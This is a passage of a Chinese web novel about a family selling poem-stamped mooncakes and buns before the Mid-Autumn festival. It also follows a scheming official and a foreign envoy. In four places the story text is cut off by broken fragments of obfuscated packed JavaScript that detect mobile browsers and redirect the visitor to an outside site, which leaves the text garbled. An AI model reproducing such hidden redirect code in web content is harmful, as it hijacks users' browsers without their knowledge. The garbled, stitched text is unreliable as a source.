姜宁睁大了眼，惊喜道：“谢谢夫子，我家月饼用料精细，做工复杂独特，口味酥脆，一筒三支，三十文一筒，合计三百文。” “您是自己选十个，还是我随意帮你拿十个？” 她有些为难解释：“每一筒三支，每支上印刷的诗词不一样的，全部混在一起，现在我也认不得，哪只筒里，有那句诗？” 她一边说着，一边寻找绳子捆扎。 夫子听了，看了眼大同小异的竹筒，扫过上头的花纹，简单几笔，粗糙却有趣，随意道：“你随意拿吧，四个兰花，三个狗，三个猫！” “诶，好嘞，您拿的时候不要磕到碰到竹筒，很容易碎，最好回去就吃，酥香甜脆，尽量三天内吃完，不然影响口感。 最多放五天，里头添加了鸡蛋，五天后就不能吃了。” 她把十个竹筒轻轻睡倒，整齐叠放在一起，用绳子捆扎好，双手递给夫子，嘴里利索的交代。 夫子接过竹筒，挤开人群急匆匆走了，他要回去召集同僚们开盲盒，收集诗词，心下一片火热，不晓得能不能得到千里共婵娟的其他句？ 经过这个路口的行人，大部分是西云书院的夫子、学子，还有接送学子念书的家长，少部分是乱晃的闲人，看到这个画面，眉眼微动，看样子，这个摊子的月饼甚得这个夫子的心意啊。 学子：要是能提前背下一两句好词佳句，上课时夫子提问，不得是全班最靓的崽？又能吃，还能出风头，必须买！ 家长：正是准备节礼的时候，这家月饼粗糙了些，但新奇有趣，买一筒送孩子的先生，肯定能讨先生的欢心，不得多提点自家孩子。 路人：哟，这么多人追捧，肯定不赖，理当买回去瞧瞧！ 大家挤在摊子前，多的要三个，少的买一个，不到半个时辰，竹筒全部清空。 远处路过的行人，看到这边的热闹，顺脚过来看一眼，带着把包子也早早卖完。 姜宁再次展露了一番自己空当当的篮子，背篓和蒸笼，细声和客人解释：“真没了！您请明早来，我们一直卖到中秋节当日。” 姜氏用扫帚清扫完地方，两人把东西堆在车上回家。 她要求姜宁抱着钱袋坐在车上，她推着车，声线带着轻微的颤抖：“钱箱里将近十贯，你抱好了，莫要被宵小摸了去！” 一早上，包子流水三贯，月饼流水七贯多，去掉成本，包子利润1.6贯，月饼4.2贯，今日纯收入5.8贯，5800钱一日，做梦不敢想！ 姜氏呼吸急促了几分，还能卖两日，她们至少能赚到十二贯。 回到家，她火急火燎跑去木匠家订竹筒，采购其他原料，争取明日多做一些。 看着她们关上魏婆婆家的院门，胡光骏面色恍惚从墙角后走了出来。 他昨日没问出周鑫的下落，心里惦记苏宁安危，翻来覆去一夜没睡好，听到隔壁院子动静，立马起身，想悄悄询问周鑫，哪知周鑫开了院门提了个篮子，直奔东城，他一路尾随，竟然看见了姜氏，和苏宁推着车出了门。 几日不见，苏宁又黑又胖，还剃光了头发，变得丑巴巴的。 他看到苏宁的那一瞬间，巨大的震惊、欢喜将他填满，原来，她没事！ 他想立刻上前，紧紧抱着她，把她按到怀里搓揉一番，狠狠打她一顿屁股，这个臭丫头，几乎没把他吓死。 没等他开口，两人推着车急急忙忙往内城赶，好似有狗在后面撵。 他跟了上去，原来两人在摆摊，欢喜过后，愤怒和羞耻潮水般奔涌过全身的血液。 她们竟然，抛头露面丢人现眼摆摊卖吃食。 更让他恼怒的是，苏宁，宁愿抛头露面，低声下气卖吃食，也不愿意老实呆在家里，乖乖等着他。 不过几文钱而已，他完全可以养着她的，苏宁完全不用吃这样的苦，她怎么就如此不知好歹，非要和他闹，非要避着他来做这种事情？ 除了正妻的名分，他可以给她所有的爱，再说，他这样做，也是为了前程，为了将来两个人的孩子，能有一个更好的起点，她怎么就不理解他的良苦用心呢？ 胡光骏委屈极了，失魂落魄看着她们卖完离开，垂头丧气走着去上值。 胡光骏枯坐在值房里，双眼呆呆看着屋顶的青瓦。 苏宁上辈子情谊满满的眼眸，白皙滑腻的脸庞和今日灵动神采的黑眸，黑黝黝的脸，不停的在他脑海里交错。 他想了一整日，依旧舍不得放手，他痛苦的闭上眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045837|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不论去上辈子懂事体贴的苏宁，还是现在和他吵架叛逆不听话的苏宁，他都舍不得，甚至更在意了些。 他要她主动认错，乖乖回到他身边。 这一次，他决定给她个孩子，有了孩儿，苏宁的心思在孩儿身上，不会这样上蹿下跳不安分。 苏家老头和大伯不知道是真的被强盗掳走，还是做戏躲了，等得空了慢慢查，现在，能让苏宁听话的，只有姜氏了吧。 胡光骏嘴角微微勾起，扯出个笑，你们既然摆摊，便让你摆，小爷正好，管的就是摆摊。 理清楚思路，他轻轻拍拍衣角的灰，施施然起身和同僚闲聊。 & 高明珠盛装打扮，随穿着隆重的哥哥再次来到外使馆，求见北沅使节。 这是她们来的第三次。 前两次，他们正主的面都没有见到，被一句今日有事给打发了。 这次终于等到了人。 两人在花厅就坐，看到门口进来的人，瞬间愣住了，这还是人么？ 他身长八尺二寸，自带一股令人仰视的压迫感。 伟岸的身体几乎有自己两个身子大，宽阔的肩膀和虬结的肌肉，充满了爆炸性的力量，腰间一柄短剑随着他的步伐前后摆动，闪耀着锋利的寒光。 他面容轮廓分明，线条刚毅，既有和哥哥一样贵族的俊朗，又不同于哥哥身上的文气，天然一种武将的粗犷。 最让人惊异的是，他目中瞳口竟是双孔，射出令人害怕的冰冷目光。 在这样的目光下，高明珠觉得，自己是一只老虎嘴边的兔子，稍微有多余的动作，便要被一掌拍扁。 宴时璟忍着头上的眩晕，走进了花厅，面见前来拜见的高家兄妹。 低头进了花厅，便看见女子吓得面色青白，他心底闪过不耐烦和嫌厌，他比常人多长了一个瞳孔，又不吃人，怕个铲铲！ 一甩披风，反身坐在上头台阶的主位上，微微点下下颌示意他们坐下，睥睨着他们：“找某何事？” 高明珠：这人不仅长得吓人，还粗俗无礼！ 高明志起身，笑道：“公子远道而来，听闻你最近食欲不振，夜不能寐，是我们招待不周。我们寻了叶城最好的大夫，请他帮你诊治诊治，开些药，调理一二。” 话一出来，高明珠感觉屋内温度瞬间降低了许多。 宴时璟站起身，随手抓起坐下椅子，在高明珠惊愕的目光中，哐啷丢在高明志面前的空地上，沉重的木椅砸在石板地砖上，发出砰的巨响。 讥笑：“某多谢公子好意，某强壮如虎，不需看大夫！倒是麻烦高二公子，帮我尽快寻几个，能做沅食的厨子。” “某还有事，恕不远送！”头不扭一下便走了。 待他走后，高明珠才惊叫出声。 他，他，他，竟然徒手把椅子单手提起来，那可是紫檀木椅子，重若磐石。 布置使馆的时候，她跟着哥哥来帮忙，整整找了六个力士，才搬进来的。 被下了脸面，高明志也不恼，若有所思：“听闻这位北沅贵人，力能扛鼎，勇猛过人，看来传闻不假。” 只是，这位看着大智若愚，喜形于色，不晓得是看不起他们高家，还是本身脑子不太好？ 他有些担忧的看着面前娇娇软软的妹妹，父亲的打算他是知晓的，若是妹妹和他联姻，妹妹能掌控如此桀骜不驯的野牛吗？ 29. 第 29 章 今日小学堂结业，针对可能的客户，姜宁今日做新饼的时候，故意挑出交给孩子们背的三首诗里的句子模具，印在月饼上，分别装在小猫和小狗竹筒里。 吃过晚饭后，魏婆婆带着苏慎，站在左边，姜宁和苏悦站在大门右边，欢送孩子们一一离开。 一旁摆着桌子，铺着一张干净的苎麻桌布，竖着块牌子：中秋上上签月饼，三十文一筒。 上头整齐摆着竹筒，前面两个盘子，一个盘子里摆着整齐的三块字面朝上的月饼，上面印着他们学过的三首诗中的一句，另一盘子里是包装时碎掉的大块月饼，给家长们免费品尝。 小娃们好似知道要和朋友们分离，情不自禁泪流满面，走到门口看见桌子，立马阴转多情，指着月饼上的字，叽叽喳喳从头背诵。 还有的小孩，抱着大人的腿，要求带一个竹筒回家。 姜宁笑盈盈解释：“孩子们都会背了，特意做了这个抽签诗筒，每支签上只提点了一句。 中秋家宴的时候，抽一只，若是孩子能一字不漏的背出来，便奖他一个饼吃，这个饼酥脆香甜，里头加了核桃鸡蛋，孩子吃了更聪明！” 左右都要买月饼，在哪不是买。 大多家长掏钱，给孩子买了一个，还有给孩子买了一猫一狗两个的。 这么一会，又卖出二十四个竹筒。 & 周鑫围着在西云书院转了好几圈，西云书院共两个门，一个正门，一个侧门。 正门便是岳母们摆摊的地方，一条整齐宽阔能通双排马车的大道，两边种满树，绿树成荫，根本没有房舍。 另外一个侧门，出来房屋鳞次节比，多是书院夫子的住宅，靠主路的大多改作商铺，里头的租给书院就读的学子一家人住，甚是热闹。 他走访了几家，看中两处。 一个有院子的一进小房子，靠着路的房间打通成了小铺子，除了小铺子，院子里打了井，用水方便，一间屋子，一间厨房，单独的茅房。 可惜，价格很美丽，两贯一个月，主家要求一次签订一年的租期，便是二十四贯。 另一处是带着阁楼的小铺面，下头是铺面，上头可以住人，用水麻烦，需走百十步路到街角的公井取水，价格相对便宜，只要一贯一月，可以付半年。 他纠结不定，带了苏悦来看。 苏悦估摸着价钱，选择了阁楼，但对小院，恋恋不舍。 回去和姜宁闲话，语气里对小院的惋惜。 姜宁笑道：“阿姐，你带着巧儿呢，她还小，阁楼爬上爬上不方便，让她在门外玩吧，大人总有没注意到的时候，万一被拐子偷了，没地方哭。 小院关起门来，只要锁好井，她可以自己玩的。 破酥包走上正轨，你一人每日能做一千个左右，每日约存五百文，一个月十五贯，小院的租金，可是承受的。” “租金的话，先和房东商量一下，付两个月，剩下的两个月后付清，他没损失，会同意的。” 一语惊醒梦中人，苏悦连忙点头：“你说得对，差点因小失大。” 苏悦愁眉苦脸，这样的话，除了房租的四贯，还有添置铁锅蒸笼等物件，翻新厨房，好大一笔钱，难道回去找韦婆子借？她比吃了苍蝇还难受。 姜宁提醒：“阿姐，你忘了，这几日的工钱还没算的，等阿娘回来，我找她算了，我把我的工钱先借你。” 商量好后，苏悦喜滋滋去和主家商谈租房的事。 & 西云书院里，买了十竹筒的夫子杜威，一路匆匆去到讲堂，今日轮到他和老友高培元一起给甲班学子们解惑答疑。 大讲堂隔壁茶水间是他们休憩喝茶的地方，除了甲班的他和高培元，还乙丙丁戊班的夫子都在，临上课还有半个时辰，大家一面备课批阅课业，一面唾沫横飞，喝水吐糟各自学子不进学，没长读书的筋。 杜夫子走进门，轻轻嗓子：“老登们，快，快来拆竹筒，我今儿得了两句好词：但愿人长久，千里共婵娟！” “剩下的可能都在这些饼里，快来帮忙！” 闹哄哄的茶水间瞬间安静如鸡，大家默念着这两句，体会其中的温暖，一时好似和家人团座一起，言笑晏晏。 同僚们围上来，伸手抓了竹筒，迫切的拆开，然后把上头的诗词撰写在书案上，开始拼凑起来。 有大家耳熟能详的： 低头思故乡 天涯共此时 月是故乡明 等诗句，也有他们没听见过的 人有悲欢离合 此事古难全 但愿人长久 千里共婵娟 他们把没见过的这一首凑在了一起，按平仄对应排列，烈讨论起来：“人有悲欢离合，后面，下一句接什么合适？” “我来，我来，天有风云变幻？” “我觉得，山有峰回路转更贴切” “必须是：世有兴衰更替！” “你们有点脑子，这是中秋的，必须是月亮啊，应该是：月有朔望牙圆!” …… 大家对着案桌上的诗词，开始激烈的炫技，吵得面红耳赤，谁也不服气谁，一时间吹胡子瞪眼，好不热闹。 高培元手捏着一块月饼，心事重重，没参与到同僚们热切的讨论中。 他匆匆从外使馆赶过来，忙得没吃早食，肠胃发出不满的饥鸣，他看一眼手中的淡黄色，表面布满细小裂纹的长条形月饼，上面稍显模糊的字迹：柳暗花明又一村。 他苦笑一番叹口气，这个诗句倒是吉利，他这些日子为了差事，奔波劳累，收效甚微，希望差事能，船到桥头自然直。 许下心愿，他张嘴咬了一口。 牙齿咬上月饼的一瞬间，耳畔传来咔擦的清脆声，他呆住了，口感不同于吃过的任何点心，竟然酥脆得掉渣，唇齿稍微一用力，便碎成了细屑，一抿即化，同时具有颗粒感，充满空气，不会黏糊在唇舌间。 化开后的饼屑，带给舌尖甜美滑腻的体验，随着咀嚼，面粉的回甘，油脂的润泽，核桃的清脆，芝麻的浓香，在舌尖交错，最后又有一点淡淡的咸香，整个味道立体复杂，又层次分明，让人忍不住发出满足的喟叹。 好酥好香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050648|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好脆！ 他趁着大家心思热烈的讨论，偷偷开吃，不一会便干掉五条。 再次伸手的时候，他的手臂被杜威捉住：“培元，你来评评理，我们哪个对的最贴切？” 高培元胡须上带着饼屑，眼睛眨巴两下，缩回手喝了口水，咽下嘴里的饼，一脸正经：“都好，都好！诶，这些饼难以下咽，着实难吃，浪费粮食又可惜，我带回去喂我家□□！” 难吃你还吃那么多！ 杜夫子抓起一块咬了一口，清脆的声音清晰的传到左右人的耳朵，大家目光炯炯的盯着他。 杜夫子皱着眉头咀嚼，半天才吞咽下去：“培元所言极是，这饼着实难以下咽，我带出去丢了吧，免得污了大家的口舌！” 说着，寻了张大白纸去包剩余的饼。 高培元忙不迭抢夺：“粒粒皆辛苦，如何能丢，我带回去喂狗，莫要浪费了！” 大家你看看我，我看看你，这两人最善唱双簧哄人，信你个鬼！ 七手八脚朝着油纸上的饼摸去。 在争夺中，饼碎了大半，大家伙也不嫌弃，抓一块大的塞到嘴里。 汰，这两个斯文败类果然在唱双簧，再也没有比这个香甜酥脆的饼了。 今日真是赚到了，不仅收获一首能传颂千古的词，还尝到从未吃过的美味，去给那些不愿头悬梁锥刺股的学子讲学，也不觉得折磨了。 这样好吃好玩的月饼，必须带回家，再分些给亲朋好友，也可以顺便考校子侄的学问，妙哉！ 大家一致决定让杜夫子戴罪立功，派他去订购，围着他登记自家的数量和数铜钱。 钟声响起，到了讲学的时间，大家理了理衣冠，清了清面皮，不约而同互视一眼，下了个决定，走进各自的讲堂——今日便学这首缺了一句的词。 临近中秋，学子心思浮动，在学业上三心二意，疲乏怠倦，今日便让他们也感受一番，短小文字间释放的温暖和力量，劝导他们把心思放回学业，早日取得功名，报效朝廷。 末了放学，杜夫子在大讲堂里，叫住冯锦程，跟着他去茶水间。 跟着夫子身后，感受着甬道上其他学子们或羡慕，或嫉妒，或疑惑的目光，冯锦程感觉这个风头出得够够的。 他的背挺得笔直，下巴微微抬起，走得好似一株直立的小白杨。 冯锦程面无表情，但其实，心里慌得一批，虽说得夫子看重，他很开心，可是，他同时很忐忑，他最近课业有所进步，离优等差得远的，所以，夫子到底叫他做什么？ 他的眼睛慌乱起来，莫不是知晓，他偷偷倒卖破酥包的事了，不要啊，他一个包子，才赚一文钱而已！ 进了茶水间，杜夫子坐下后，对着站在身边的冯锦程道：“我有话问你！” 他低头端了茶杯，润了润因上课讲学干痒的嗓子，茶水间一瞬间，安静得好似能听到小胖子的心跳声。 下一刻，两个声音同时响起。 杜夫子：“你知道卖上上签月饼老板家在哪么？” 冯锦程：“夫子，我错了，我不该倒卖包子，赚同窗的钱！” 30. 第 30 章 小胖子话一出口，悔得肠子都青了，恨不得打自己两巴掌。 原来夫子不是因为倒卖的事找他，他作甚要多嘴，一切都怪他太年轻。 杜夫子一愣，眨眨眼，板着脸一拍桌子：“混账，在书院应该以学业为重，你把心思放在商贾钻营之事上，实在太让为师失望了！” “罚你，赚到的钱，一文不少，还给同窗，抄写大字一百张，知道了么？” 小胖子：“……” 晴天霹雳，还要把钱还回去！白瞎了他凌晨起的床。 他瞬间从挺立的小白杨，变成没了骨头的软皮蛇，小油肚失去支撑耷拉出来。 杜夫子目瞪口呆看着面前学子的变化，后知后觉自己好似太狠了些，熟练画大饼安慰道：“你把心思收拢，好好放在学业上，若你这次期末评为优等，免了你的年假作业！” 小胖子听到有可能没有作业，立马又支棱起来。 哄好学生，杜夫子咳嗽一声道：“你晓得上上签月饼老板家在哪不？” 小胖子：“我不知道！” 杜夫子哦一声，失望的摆摆手，示意他可以走了。 小胖子接了一句：“我阿奶知道！” 杜威夫子：“” 好了，现在就可以确定他期末等级了，一定是良等，春节好好做课业去吧。 杜夫子和好友高培元，两人护送小胖子回家，在墙角示意他去请他阿奶出来，领着他们去。 陈婆婆在家等着孙子吃饭，大孙子一回家，拖着她玩外跑，说是有人找。 她出门看见是夫子，哎哟一声，暗骂孙子是个棒槌，夫子来了竟然不请进门，连忙热情邀请两人进屋喝茶。 杜夫子和她客气推让了半天，道明来意，陈婆婆揪着小胖领子，立马领着他们往魏婆婆家走去。 到了魏婆婆家，杜夫子找到姜宁，三言两语，订购了一百个上上签竹筒，让她明日午时送到书院门房，他自会去取，并预付了全款。 今日真是个好日子，还有人赶着上门送钱，姜氏喜笑颜开，因姜家正准备开饭，顺嘴邀请他们入座。 杜夫子和高夫子两人对视一眼，也不客气，施施然入席坐下。 小小的四方桌显得拥挤了些，苏悦不喜见外人，抱着巧儿避开往后院去了。 魏婆婆人老成精，猜测人家有事要谈，瞟一眼桌上的饭菜，估摸着不够，拉着魏婆婆去自家吃饭，带着小板栗、孙子回自己家。 灶房的屋子里只剩姜氏三人，和夫子两人。 姜氏天生粗线条，热情招待：“贵客上门，家里的饭菜有些寒酸了，稍候一会，我去外面买只卤鸡回来！” 杜夫子连忙推拒：“大姐莫要忙了，这些菜足够了，今日冒昧到访，实在失礼，确实有事相求！” 姜宁笑着双手奉上一张普通竹下纸：“我原本想着明早遇到先生，再给先生，哪知您竟追到家里来了！” 杜夫子热切的接过竹下纸，上头炭笔写着一首词，正是让他们今日抓心挠肝的词。 《水调歌头-明日几时有》——苏轼 明月几时有？ 把酒问青天。 …… 但愿人长久， 千里共婵娟。 好词，好句！ 即便最便宜的竹下纸，最没有风骨的字，都不能影响这词的风采。两人忍不住，当场点评了一番。 “先生，先生，要不，先净手吃饭，菜都凉了！” 两人回神，发现桌上多了一道卤鸡，暗怪自家讨论得太投入，忘了时辰，赧然道歉。 因忙着做月饼，今晚菜色准备的比较简单，一道薄荷排骨，一道红三剁，还有一道青菜芋头汤。 姜宁把卤鸡换到他们面前：“我们家爱食猪肉，粗陋了些，先生将就着用些卤鸡，南门街上卤鸡王家的，甚是醇香。” 时下世人喜食羊肉，以食羊为荣，姜家倒是与众不同。 高培元眼底闪过一丝失望，这次也是无功而返？ 杜夫子鼻子悄悄嗅了下，笑道：“好香，我们平时吃的不多，不如你介绍一二？” 姜宁笑道：“薄荷排骨，取猪身上最嫩的子肋排，砍成小段，用清水浸泡一刻钟，中途换两次水，彻底清除血水，捞出后擦干净表面的水分，放入葱姜蒜盐糖腌制一刻钟，然后撒一勺熟油封住水分。” “锅里放宽油，烧热后，把排骨放入炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053745|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟后捞出放凉。” “加火把锅里的油继续加热到冒烟，放入沥干水分的薄荷蒜粒干辣椒段，快速翻动，薄荷叶变脆，立马捞出摆盘。” “再把排骨放到，炸过薄荷的油里复炸三十息后捞出，摆放在薄荷叶上。” “红三剁比较简单，猪肉末和红椒粒，西红柿粒混在一起炒就是。” 姜宁三言两语说个清楚。 杜夫子把目光投向薄荷排骨，透明翠绿的薄荷叶上，金红色的排骨码放在上面，间或白色的大蒜粒，焦红色的辣椒段，红绿白互相点缀，光看颜色，让人忍不住食欲大增。 他伸筷子夹了一块排骨，入口是高温导致的酥脆的外壳，能轻微听到咔擦的一声，紧跟着是滚烫的肉汁和咸鲜味十足的嫩肉，间或掺了少许油脂的醇香，最后掺杂了一缕带着回甘的清凉，那是薄荷的余韵，全身暖洋洋的，嘴巴粒却凉飕飕的，两种味道撞在一起，奇妙且鲜美。 尝过排骨后，夹一片碧绿的薄荷叶，不同于月饼的浓重酥脆，那时另外一种轻脆，它轻轻的爆炸在唇舌间，轻巧沙脆，同时释放出所有的清凉，一扫排骨的咸香，嘴里变得清爽。 好会！ 竟把两种普通的食材放在一起，达到了与众不同的效果。 他用勺子，舀了一勺不起眼的浅红色红三剁，拌一点白米饭，颗粒均匀的米饭上，裹上一层油润淡红的外衣，吃起来酸甜可口，间具鲜肉的咸香，果然是最棒的下饭菜。 若把薄荷排骨比作让人惊艳的浓妆异族女子，那红三剁便是耐看的温婉水乡姑娘，同样让人你念念不忘。 吃完饭，杜夫子笑道：“今日冒昧打扰，其实，还有一事！”他示意高培元自己说。 高培元看到他们做的是猪肉菜，已经失望透顶，亲自尝了味道后，感叹竟然能把便宜腥气的猪肉，考制得如此美味，想来羊肉是错不了的。 连忙道：“我自小在伯父家长大，伯父在内城外使馆任职，因厨房做的饭菜，不合外使口味，已经被申斥过好几次，全家忙着到处寻有手上功夫的厨子，你看，你可以去帮忙做几日吗？” “你们放心，工钱不会少的！只要能让贵人满意，一日至少一贯！” 31. 第 31 章 姜氏用眼神示意姜宁，要去吗？ 姜宁思绪稍微转了一下便道：“先生，您高看我了，我只会弄点乡野小菜，不擅料理羊肉，难登大雅之堂，若是去了，反惹贵人恼怒，更添许多烦恼。” 这便是干脆利落的拒绝了。 高培元愕然，进门后他察言观色，姜家生活窘迫，应该正是缺钱的时候，一日一贯的工钱眼睛不眨拒绝，难道真是不擅料理羊肉，不敢应征。 对于姜宁的自谦，他更看好了，安慰一番继续加码：“你放心，不一定做羊肉，随意做些你拿手的就是，只要贵人肯用满意，除了工钱，另有丰厚赏钱！” 姜宁坚持己见，道明原因：“先生，多谢您的看重。 我们后日便离开叶城，投奔我外祖家，已经在大车店订好位置，确实不方便改变行程。” 姜氏一边帮腔：“我十多年没回去，思念家人得紧，早带信回去，家人翘首以盼，请两位先生体谅。” 事不凑巧，罢了罢了。 城里无数酒楼大厨流水般试了一遍，贵人依旧不满意，估摸着不会看上这个小女子的手艺，他何必强人所难。 两人揣着诗词离开，倒也没白走这一遭。 一日一贯的工钱，姜氏有点心动，拉着姜宁寻问：“要不，我去和大车店协商，推后几日？” 姜宁分析：“听夫子意思，只要会点手艺的厨子，他们都请过去试了一次。 依旧不停的寻找厨子，想必贵人不满意。 如此多的厨子，天上飞的，地上走的，水里游的，洞里爬的，蒸煮炒炖，酸甜苦辣各种口味轮过一遍，贵人不满意，不是厨子的问题，是贵人自己的问题，我估摸着这贵人有病，食不下咽。 他们应该寻大夫，不应该寻厨子。 拖延如此长时间，他们还在折腾，不知道那个贵人，身体吃不吃得消，万一我们去的时候，那人恰好嗝屁了，我们就成了甩锅侠，何必凑那个热闹。” 姜氏愣住：“不过做几顿饭，没那么夸张吧！” 姜宁笑笑：“若是简单几顿饭，为什么给那么高的工钱？反正我们卖月饼，卖包子能赚钱，不和他们掺和！” 她原本开私房菜馆的，各种奇葩难缠的客人，竞争对手魑魅魍魉的手段，开了眼界，习惯性用最大的恶意去揣测人，幸好，她现在的家人是以力服人的姜氏，满脑子攒钱娶媳妇的苏慎，内宅忍者神龟苏悦，她可以放心的和她们相互扶持。 若遇到的个精于算计的，不晓得这日子还如何过。 明日最后一日卖月饼，姜宁扒拉着算了下，已经订了一百竹筒，学子那边，应该至少还能卖两百筒，姜宁计划做三百筒，她飞快算出需要的原料，和姜氏推车出去买材料，顺便去木匠那里拉竹筒。 回来后苏慎和苏悦，几人分工合作干起来，姜氏手上力气大，专门负责打发猪油，苏悦翻伴面糊，苏慎剥核桃皮，敲碎核桃，包装，她守在烤炉面前，专心掌握火候烤饼。 一直忙到深夜子时，堪堪将月饼做好，苏慎早趴在桌子上睡着了，姜氏正要叫他去洗漱，姜宁打断：“算了吧，他困得厉害，允许他脏一回。您也睡一会，左右装饼的活计你做不来。” 姜氏作罢，把人抱到床上和巧儿并排盖好被子，自己合衣躺在一边闭目养神。 姜宁姐妹二人打着哈欠装饼，装好饼，已经是凌晨丑时，又该做包子了。 姜宁困得睁不开眼睛，和苏悦商量：“阿姐，今日的包子，做一半便够了，大家吃月饼呢，吃包子的人，恐没有那么多。” 苏悦道好。 两人调好面水，正要揉面，姜氏醒来下床，接过面盆道：“行，你们去眯一会，我把面揉好，醒发得差不多，我叫你们来包馅料。” 主要是面皮在她手上不老实，馅像个小耗子，到处乱跑，不然，她一起包掉。 姜宁感受到她的心疼，心口热了一下，嗯了一声道：“行，我们眯一会，过会来换你！” 和苏悦巧儿一起挤在蚊帐里，合衣躺下，脑袋一粘上枕头，便沉沉入睡。 约莫一个时辰后，姜氏摇醒他们，姜宁感觉精神恢复了些，和苏悦一起动手包包子，换姜氏歇息。 凌晨卯时，批发的几个大客陆续上门取包子，姜宁唤醒姜氏，示意她上街摆摊，姜氏翻身起来，推醒苏慎，梳洗干净，推车出门：“你们忙了一晚上，在家歇歇补觉，苏慎和我去，帮我收钱！” 姜宁和苏悦确实困得厉害，两人舀热水舒舒服服洗了个脚，复又躺回床上，舒服的睡去。 苏悦陷入沉睡前思忖，奇怪，熬了一整夜，累得浑身酸疼，但是心里头却一点不委屈，甚至舒坦实在，是怎么回事？ 若是她问出来，姜宁会告诉她：“因为全家力气一起使，有钱一起赚，美食一起吃，互相扶持体谅，这才是家的本质。” 睡到中午，姜宁起床看了一下，疑，他们还没回来呢？ 她提着篮子去寻人，到了地方，姜氏在摆摊，苏慎坐在一边，双手紧紧抱着个袋子，警惕盯着来往的行人。 姜氏揭开蒸笼：“嗨，今日中秋节，书院休假三日，学子们三三两两结伴来买，或打发家人来买月饼，月饼卖完了，包子不如往日卖的快，幸好你们今早只做了五百个包子，剩八九十个破酥包，估摸要到下午。” 她把袋子从苏慎脖子里摘下，递给她，压低声音：“今日卖了七贯多，你带着钱回去收好。清点清楚，把你姐的钱给她，若是周鑫来接，就让她跟着回去，免得街坊邻居背后蛐蛐她。 若没来接她，就让她和我们一起过中秋节。 然后去市场看着买点菜，午饭不用等我们，我们吃口包子垫吧一下，守到未时末回来吃饭，过节。” 姜宁哦了一声，躲在推车后，解开外裳，把钱捆在腰间腰带上，拢好衣裳，提着篮子回家。 到了后院的屋子，从床底下拖出钱袋，喊来苏悦一起数钱。 连上今日赚到的钱，袋子里攒了十八贯零六串。 按照之前的约定，留七成作为公中的，三成作为工钱平分， 她数出五贯六串，平均分成四份，推一份到苏悦面前：“阿姐，这是你这几日的工钱。合计一贯四串。” 苏悦愕然了一下，连忙推回去：“太多了，太多了，哪有这么多！” 她一开始帮着带孩子，轻巧活计，后面几天跟着做包子、月饼，也是风吹不带雨淋不到的屋内活计， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057372|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三十文一天到顶了，最多取走零散的四串钱，如何能收这么多！ 姜宁笑道：“这是我们说好了的，我们是一家人，力往一处使，除了公中的，剩下平分，贴了钱也一起担着，哪来的少不少一说。” 推让了半天，苏悦才接受。 姜宁把自己那有一份，和苏慎那一份工钱，姜氏那一份工钱也推给她：“阿姐，你那边租房，我和阿慎攒的钱暂时用不上，先借你周转，过年的时候，我们回来探亲，你记得要还我们。 阿娘说，她的工钱也先借你，要你立起来，好好抚养巧儿，要是再让巧儿受到委屈，她定要给你一巴掌！” 苏悦睁大眼睛，盯着面前的五贯六串钱，心头涩涩的。 她已经和房东谈妥，先预付两个月的房租，需要四贯，购置锅灶厨具，原料什么的，还要一贯，才能运转起来，这便是五贯。 婆家这些年只进不出，至少攒了好几百贯。 她和周鑫商量过，周鑫说回去找婆婆拆借一二，到现在还没有消息。 原本打算继续租在魏婆婆家，然后学姜氏一样，带着巧儿推着车到外头摆摊。 自己没有阿娘那身子力气，不知道，会不会被街上的人欺负，也担心巧儿跟着风吹雨晒，小人儿会不会受不住生病，正纠结着。 妹妹便送来了她的工钱，还额外借了她钱，足够她把小铺子开起来。 她抚着桌上的五贯六串，那不是五千六百个铜钱，那是母亲阿妹阿弟对她的沉甸甸的期盼和心疼。 可是，他们还要长途奔波，去到几百里外的外婆家，他们三个人只剩十三两了，穷家路富，万一路上缺衣少食的，没有铜钱傍身，怎么办？ 她不可以这样自私。 这么多年的委屈都过来了，今日何妨再去吃一次。 